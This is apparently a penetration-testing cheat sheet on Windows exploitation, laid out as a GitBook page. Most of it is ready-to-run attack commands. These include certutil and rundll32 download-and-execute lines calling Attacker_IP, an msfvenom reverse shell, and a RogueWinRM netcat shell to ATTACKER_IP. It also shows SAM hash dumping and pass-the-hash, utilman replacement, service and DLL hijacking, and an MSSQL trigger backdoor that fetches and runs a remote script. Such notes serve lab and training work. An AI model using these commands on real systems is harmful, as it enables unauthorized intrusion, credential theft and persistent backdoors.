# 2. Windows Exploitation

## LOLBAS

**L**iving **O**ff the **L**and **B**inaries **A**nd **S**cripts

Uses Microsoft-signed and built-in tools used as Living Off the Land techniques, including binaries, scripts, and libraries.

[https://lolbas-project.github.io/#](https://lolbas-project.github.io)

## Downloading files to the Victim Machine

### iwr

```
iwr -uri http://192.168.12.10 -outfile file
```

### Certutil

{% code overflow="wrap" %}

```bash
certutil -URLcache -split -f http://Attacker_IP/payload.exe C:\\Windows\\Temp\\payload.exe
```

{% endcode %}

### BITSAdmin

{% code overflow="wrap" %}

```bash
C:\\Users\\thm>bitsadmin.exe /transfer /Download /priority Foreground http://Attacker_IP/payload.exe c:\\Users\\thm\\Desktop\\payload.exe
```

{% endcode %}

### FindStr

{% code overflow="wrap" %}

```bash
C:\\Users\\thm>findstr /V dummystring \\\\MachineName\\ShareFolder\\test.exe > c:\\Windows\\Temp\\test.exe
```

{% endcode %}

### Invoke-WebRequest

```
Invoke-WebRequest $myDownloadUrl -OutFile c:\file.ext
```

## Executing Files

### explorer.exe

* C:\Windows\explorer.exe
* C:\Windows\SysWOW64\explorer.exe

{% code overflow="wrap" %}

```bash
C:\\Users\\thm> explorer.exe /root,"C:\\Windows\\System32\\calc.exe"
```

{% endcode %}

### wmic

```bash
C:\\Users\\thm>wmic.exe process call create calc
```

### Rundll32

* C:\Windows\System32\rundll32.exe
* C:\Windows\SysWOW64\rundll32.exe

{% code overflow="wrap" %}

```bash
C:\\Users\\thm> rundll32.exe javascript:"\\..\\mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shell").Run("powershell -nop -exec bypass -c IEX (New-Object Net.WebClient).DownloadString('http://AttackBox_IP/script.ps1');");
```

{% endcode %}

## Bypassing Application Whitelists

### Regsvr32

regsvr32.exe binary can also be used to execute arbitrary binaries and bypass the Windows Application Whitelisting

* C:\Windows\System32\regsvr32.exe
* C:\Windows\SysWOW64\regsvr32.exe

```bash
C:\\Users\\thm> c:\\Windows\\System32\\regsvr32.exe c:\\Users\\thm\\Downloads\\live0fftheland.dll

C:\\Users\\thm> c:\\Windows\\System32\\regsvr32.exe /s /n /u /i:<http://example.com/file.sct> Downloads\\live0fftheland.dll
```

### Bash

If the machine has WSL installed, we can execute `bash.exe -c "path-to-payload"` to run any unsigned payload.

## No PowerShell

PowerLessShell is a Python-based tool that generates malicious code to run on a target machine without showing an instance of the PowerShell process. PowerLessShell relies on abusing the Microsoft Build Engine (MSBuild), a platform for building Windows applications, to execute remote code.

```bash
user@machine$ git clone <https://github.com/Mr-Un1k0d3r/PowerLessShell.git>
```

```bash
user@machine$ python2 PowerLessShell.py -type powershell -source /tmp/liv0ff.ps1 -output liv0ff.csproj
```

## Spawning an admin shell

### msfvenom

If we can execute command with admin privileges, we can use `msfvenom` to generate a reverse shell, upload it to the victim and execute it.

{% code overflow="wrap" %}

```bash
$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.2 LPORT=53 -f exe -o rev.exe
```

{% endcode %}

This reverse shell can be caught using `netcat` or metasploit’s `multi/handler`

### RDP

* If RDP is available we can add a low privileged user to the `Administrator` group and spawn an admin prompt via the GUI

```bash
> net localgroup administrator eviluser /add
```

### Connecting from Kali to Windows

{% code overflow="wrap" %}

```powershell
$ winexe -U 'admin%password123' //192.168.1.2 cmd.exe
$ winexe -U 'admin%password123' --system //192.168.1.2 cmd.exe # if the user is admin
```

{% endcode %}

### Escalating from Admin to System

To escalate from `Administator` user to `SYSTEM` user, we can use `PsExec` tool from Windows Sysinternals

```bash
> .\\PsExec64.exe -accepteula -i -s C:\\PrivEsc\\rev.exe
```

## Checking Files

Like Linux, Windows files has permissions. We can check them with `icacls`

```bash
C:\\> icacls c:\\tasks\\schtask.bat
c:\\tasks\\schtask.bat NT AUTHORITY\\SYSTEM:(I)(F)
                    BUILTIN\\Administrators:(I)(F)
                    BUILTIN\\Users:(I)(F)
```

* **F** - Full access
* **M** Modify access
* **RX** - Read and execute access
* **R** - Read-only access
* **W** - Write-only access

## Privilege Escalation

### Abusing Group Membership

#### Account Operators <a href="#account-operators" id="account-operators"></a>

* Allows creating non administrator accounts and groups on the domain
* Allows logging in to the DC locally

#### Server Operators <a href="#server-operators" id="server-operators"></a>

This membership allows users to configure Domain Controllers with the following privileges:

* Allows logging in to the DC locally
* Back up files and directories
* Change the system time
* Change the time zone
* Force shutdown from a remote system
* Restore files and directories
* Shut down the system

#### Backup Operators <a href="#backup-operators" id="backup-operators"></a>

As with `Server Operators` membership, we can access the `DC01` file system if we belong to `Backup Operators`

### Abusing Privileges

Checking your privileges

```bash
whoami /priv
```

#### SeBackup/SeRestore

The `SeBackup` and `SeRestore` privileges allow users to read and write to any file in the system, ignoring any DACL in place.

To backup the SAM and SYSTEM hashes

```
C:\\> reg save hklm\\system C:\\Users\\THMBackup\\system.hive
The operation completed successfully.

C:\\> reg save hklm\\sam C:\\Users\\THMBackup\\sam.hive
The operation completed successfully.
```

Dump the admin hash with impacket

{% code overflow="wrap" %}

```
user@attackerpc$ python3.9 /opt/impacket/examples/secretsdump.py -sam sam.hive -system system.hive LOCALImpacket v0.9.24.dev1+20210704.162046.29ad5792 - Copyright 2021 SecureAuth Corporation

[*] Target system bootKey: 0x36c8d26ec0df8b23ce63bcefa6e2d821
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:13a04cdcf3f7ec41264e568127c5ca94:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
```

{% endcode %}

PTH with impacket

{% code overflow="wrap" %}

```
user@attackerpc$ python3.9 /opt/impacket/examples/psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:13a04cdcf3f7ec41264e568127c5ca94 administrator@10.10.4.105Impacket v0.9.24.dev1+20210704.162046.29ad5792 - Copyright 2021 SecureAuth Corporation
```

{% endcode %}

#### SeTakeOwnership

The `SeTakeOwnership` privilege allows a user to take ownership of any object on the system, including files and registry keys

{% code overflow="wrap" %}

```bash
C:\\> takeown /f C:\\Windows\\System32\\Utilman.exe

SUCCESS: The file (or folder): "C:\\Windows\\System32\\Utilman.exe" now owned by user "WINPRIVESC2\\thmtakeownership".
```

{% endcode %}

Being the owner of a file doesn't necessarily mean that you have privileges over it, but being the owner you can assign yourself any privileges you need. To give your user full permissions over utilman.exe you can use the following command:

```
C:\\> icacls C:\\Windows\\System32\\Utilman.exe /grant THMTakeOwnership:F
processed file: Utilman.exe
Successfully processed 1 files; Failed processing 0 files
```

After this, we will replace utilman.exe with a copy of cmd.exe:

```
C:\\Windows\\System32\\> copy cmd.exe utilman.exe
        1 file(s) copied.
```

Trigger `utilman` by locking the screen, and clicking on `Ease of Access`

#### SeImpersonate/SeAssignPrimaryToken

These privileges allow a process to impersonate other users and act on their behalf. Impersonation usually consists of being able to spawn a process or thread under the security context of another user.

If we manage to take control of a process with `SeImpersonate` or `SeAssignPrimaryToken` privileges, we can impersonate any user connecting and authenticating to that process.

`LOCAL SERVICE` and `NETWORK SERVICE ACCOUNTS` already have such privileges.

1. Spawn a process so that users can connect and authenticate to it for impersonation to occur.
2. Find a way to force privileged users to connect and authenticate to the spawned malicious process.

Use `RogueWinRM` exploit to accomplish both conditions.

If WinRM service isn't running on the victim server, an attacker can start a fake WinRM service on port 5985 and catch the authentication attempt made by the BITS service when starting. If the connecting account has `SeImpersonate` privileges, he can execute any command on behalf of the connecting user, which is SYSTEM.

Starting RogueWinRM

{% code overflow="wrap" %}

```bash
c:\\tools\\RogueWinRM\\RogueWinRM.exe -p "C:\\tools\\nc64.exe" -a "-e cmd.exe ATTACKER_IP 4442"
```

{% endcode %}

### Service Exploits

#### Insecure Service Properties

If services they are being run with `SYSTEM` level privileges and are misconfigured, we can try to exploit them

```powershell
> sc.exe qc <name> # query the configuration of the service

> sc.exe query <name> # query the status of the service

> sc.exe config <name> <option>= <value> # modify the configuration of the service

> net start/stop <name> # Start/Stop the service
```

* Useful permissions
  * `SERVICE_QUERY_CONFIG`
  * `SERVICE_QUERY_STATUS`
  * `SERVICE_STOP`
  * `SERVICE_START`
* Dangerous Permissions
  * `SERVICE_CHANGE_CONFIG`
    * If the service is running as `SYSTEM` and you can change the config, you can change the executable the service uses to our own
    * HOWEVER, you must be able to restart the service with `SERVICE_STOP`/ `SERVICE_START`
    * If not you have to restart the entire machine, but that could reset the exploit
  * `SERVICE_ALL_ACCESS`

Example

When we run winPEAS, we see that `daclsvc` is modifiable

<figure><img src="https://3058261645-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FJdAk5WnJDW6XiiRqO51Y%2Fuploads%2FD3BsSBfDwjMHA1YkgLl3%2Fimage.png?alt=media&#x26;token=69c1d5ce-ee12-4fdf-b646-8f7ab1e87509" alt=""><figcaption></figcaption></figure>

Running checks on it, we see that it runs as system, and has a Binary path

<figure><img src="https://3058261645-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FJdAk5WnJDW6XiiRqO51Y%2Fuploads%2F6tugtXCinxg0nrJmNkdD%2Fimage.png?alt=media&#x26;token=121984c2-baf7-444b-8ca6-6d0565607849" alt=""><figcaption></figcaption></figure>

We can therefore change the binary path to our own executable, and restart the service to run our payload as system

```powershell
> sc config daclsvc binpath= "\\"C:\\Path\\to\\exploit.exe\\""
> net start daclsvc
```

#### Unquoted Service Path

* Executables in windows can be run without their extensions, e.g. `whoami.exe` can be executed with `whoami`
* This leads to ambiguity when using absolute paths that are unquoted and contain spaces

Example

```powershell
> C:\\Program File\\Some Dir\\SomeProg.exe
```

This could be interpreted as

1. `C:\\Program Files\\Some Dir\\SomProg.exe` with no arguments
2. `C:\\Program.exe` with `File\\Some` and `Dir\\SomeProg.exe` as arguments.
3. `C:\\Program File\\Some.exe` with `Dir\\SomeProg.exe` as arguments

Windows resolves this ambiguity by checking all possible combinations

To exploit this, we can create a file called `C:\\Program.exe`that takes in two inputs, and this command will execute our payload

#### Weak Registry Permissions

* Windows Registry stores entries for each service
* If the Registry entries have misconfigured ACLs, we can change the service configurations without directly changing the service

Example

winPEAS shows that we can change the registry of a service called `regsvc`

<figure><img src="https://3058261645-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FJdAk5WnJDW6XiiRqO51Y%2Fuploads%2FogDNKqvyuD0BcwKg5hPT%2Fimage.png?alt=media&#x26;token=7b1dceac-a296-4e50-920c-da2b2afe6cef" alt=""><figcaption></figcaption></figure>

We then run `reg query` to see what values we can change in the registry, and see that we can change the `ImagePath` to point to our payload.

`ObjectName=LocalSystem` also tells us that the service should execute with system level privileges.

<figure><img src="https://3058261645-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FJdAk5WnJDW6XiiRqO51Y%2Fuploads%2Fc4gLV7Vae2E8zKGsq4QP%2Fimage.png?alt=media&#x26;token=7e371d73-13b0-43a1-b0a0-d291d0b5b945" alt=""><figcaption></figcaption></figure>

We modify the registry for `ImagePath` as such, and start the service

{% code overflow="wrap" %}

```powershell
> reg add HKLM\\SYSTEM\\CurrentControlSet\\services\\regsvc /v ImagePath /t REG_EXPAND_SZ /d C:\\Path\\to\\payload.exe

> net start regsvc
```

{% endcode %}

#### Insecure Service Executable

* If the binary used by the service is modifiable by the user, we can simply replace it with our our payload to be executed

Example

`filepermsvc` service has an executable that can be modified by anyone.

If we replace `filepermservice.exe` with our own payload and start the service, we can execute our payload

<figure><img src="https://3058261645-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FJdAk5WnJDW6XiiRqO51Y%2Fuploads%2Far4p5iv8HDugE7qusNBZ%2Fimage.png?alt=media&#x26;token=01d42e0f-6930-4342-9b53-85772b15a3eb" alt=""><figcaption></figcaption></figure>

#### DLL Hijacking

* If a DLL is loaded with an absolute path, we can escalate privileges if that DLL is modifiable
* If a DLL is missing from the system, and we can write to the PATH that Windows searches for to load libraries, we can load our own library

Example

We see that `C:\\Temp` directory is writable, and it’s also in the `PATH` variable. This means that Windows will search for libraries present in `C:\\Temp` and load them if it’s there.

<figure><img src="https://3058261645-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FJdAk5WnJDW6XiiRqO51Y%2Fuploads%2FdMAAZ439e2NOPe8ipQjA%2Fimage.png?alt=media&#x26;token=ed3a9b75-06e2-4f4b-910a-5602130495c5" alt=""><figcaption></figcaption></figure>

We then need to find a service that we can stop/start, find what libraries the service is using, and create a payload with the same name in `C:/Temp`

In this example, `dllsvc` service executes `dllhijackservice.exe`

<figure><img src="https://3058261645-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FJdAk5WnJDW6XiiRqO51Y%2Fuploads%2FQuutuOpUTUtqJQFxCnEM%2Fimage.png?alt=media&#x26;token=6e9489c7-8db4-49c0-af13-80294865d5bc" alt=""><figcaption></figcaption></figure>

We then need to analyze what libraries `dllhijackservice.exe` is loaded when it’s executed. We can do this with `Procmon.exe`

<figure><img src="https://3058261645-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FJdAk5WnJDW6XiiRqO51Y%2Fuploads%2FB5gdIQB9JvNBloEmr0hY%2Fimage.png?alt=media&#x26;token=dc700c9f-1272-450d-9b45-75bf8e8372e0" alt=""><figcaption></figcaption></figure>

Now when we execute `dllhijackservice.exe`, we see a number `NAME NOT FOUND` associated with `hijackme.dll`. On the last 4th line, we can see it check in the directory `C:\\Temp`, which know it’s writable from before.

<figure><img src="https://3058261645-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FJdAk5WnJDW6XiiRqO51Y%2Fuploads%2FvBFOtk3x4TLxxfVV8DWs%2Fimage.png?alt=media&#x26;token=e1330bd3-21c3-4385-8bef-f4183c9d5fdb" alt=""><figcaption></figcaption></figure>

Now all we need to do create our payload `C:\\Temp\\hijack.dll`, and our payload will be executed.

### Registry Exploits

#### AutoRuns

* Windows can be configured to run commands at startup with elevated privileges
* These AutoRuns are configured in the Registry
* If we can write to an AutoRun executable and restart the system, we can escalate privileges

Example

Running winPEAS, we see that `C:\\Program File\\Autorun Program\\program.exe` is writable by everyone. we can overwrite this file with our payload, restart the system to execute it.

<figure><img src="https://3058261645-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FJdAk5WnJDW6XiiRqO51Y%2Fuploads%2FtxkJshjkFy5OsO36qtj3%2Fimage.png?alt=media&#x26;token=a7ad8ed1-15c6-4897-bcee-c546e6873173" alt=""><figcaption></figcaption></figure>

#### AlwaysInstallElevated

* MSI files are package files used to install applications
* MSI files run with permissions of the user executing it
* Windows allows these installers to be run with elevated privileges with a prompt
* For this to happen, two `AlwaysInstallElevated` needs to be set to 1 in
  * `HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer`
  * `HKCU\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer`
* We can generate a malicious MSI file containing our payload using msfvenom

When running winPEAS, we see that its one of the things thats being checked

<figure><img src="https://3058261645-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FJdAk5WnJDW6XiiRqO51Y%2Fuploads%2Fm9w0CbHAjvYcH5j3Ztjq%2Fimage.png?alt=media&#x26;token=9c8044e6-6fc2-47f9-9440-939454fc00fd" alt=""><figcaption></figcaption></figure>

### Exploiting Scheduled Tasks

* Like Linux cronjobs, Windows can be configured to run specific tasks periodically, or triggered by a certain event
* Tasks usually run at the privilege level of the user that created it, but administrators can configure them to run as other users, including `SYSTEM`
* If we can modify these scripts, we can run commands as admin

{% code overflow="wrap" %}

```powershell
# Querying for scheduled tasks
> schtask /query /fo LIST /v

# In Powershell
PS> Get-ScheduledTask | where {$_.TaskPath -notLike "\\Microsoft*"} | ft TaskName,TaskPath,State
```

{% endcode %}

### Insecure GUI Apps

* Users can be granted permissions to run some GUI apps with admin privileges
* Using these GUI apps, we may spawn command prompts which will inherit these admin privileges

Example

Check if the app is running as admin using the command

```powershell
> tasklist /V | findstr mspaint.exe
```

<figure><img src="https://3058261645-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FJdAk5WnJDW6XiiRqO51Y%2Fuploads%2FjMFuZ2Ljwc5jcvUpo0bT%2Fimage.png?alt=media&#x26;token=1a87ab8e-7f26-4a7b-9949-91b685894272" alt=""><figcaption></figcaption></figure>

We see that mspaint is running as admin. We then navigate to mspaint and open up a command prompt. We do this by going to `File -> Open -> file://c:/windows/system32/cmd.exe`

<figure><img src="https://3058261645-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FJdAk5WnJDW6XiiRqO51Y%2Fuploads%2FiAoweQBJ34f4B3wVHMM0%2Fimage.png?alt=media&#x26;token=d6af75f1-dc40-48de-b4c0-5e50f3d0f352" alt=""><figcaption></figcaption></figure>

### MSSQL

T**riggers** in MSSQL allow you to bind actions to be performed when specific events occur in the database.

Before creating the trigger, we must first reconfigure a few things on the database. First, we need to enable the `xp_cmdshell` stored procedure. `xp_cmdshell` is a stored procedure that is provided by default in any MSSQL installation and allows you to run commands directly in the system's console but comes disabled by default.

Enabling `xp_cmdshell`

```sql
sp_configure 'Show Advanced Options',1;
RECONFIGURE;
GO

sp_configure 'xp_cmdshell',1;
RECONFIGURE;
GO
```

Because only the system administrator can run `xp_shell`, we need to configure all connections to impersonate the system administrator account.

```sql
USE master

GRANT IMPERSONATE ON LOGIN::sa to [Public];
```

Configure the trigger on the database

{% code overflow="wrap" %}

```bash
USE TARGETDB

CREATE TRIGGER [sql_backdoor]
ON TARGETDB.dbo.Employees 
FOR INSERT AS

EXECUTE AS LOGIN = 'sa'
EXEC master..xp_cmdshell 'Powershell -c "IEX(New-Object net.webclient).downloadstring(''http://ATTACKER_IP:8000/evilscript.ps1'')"';
```

{% endcode %}

The `xp_cmdshell` will download `evilscript.ps` from our server and execute it.
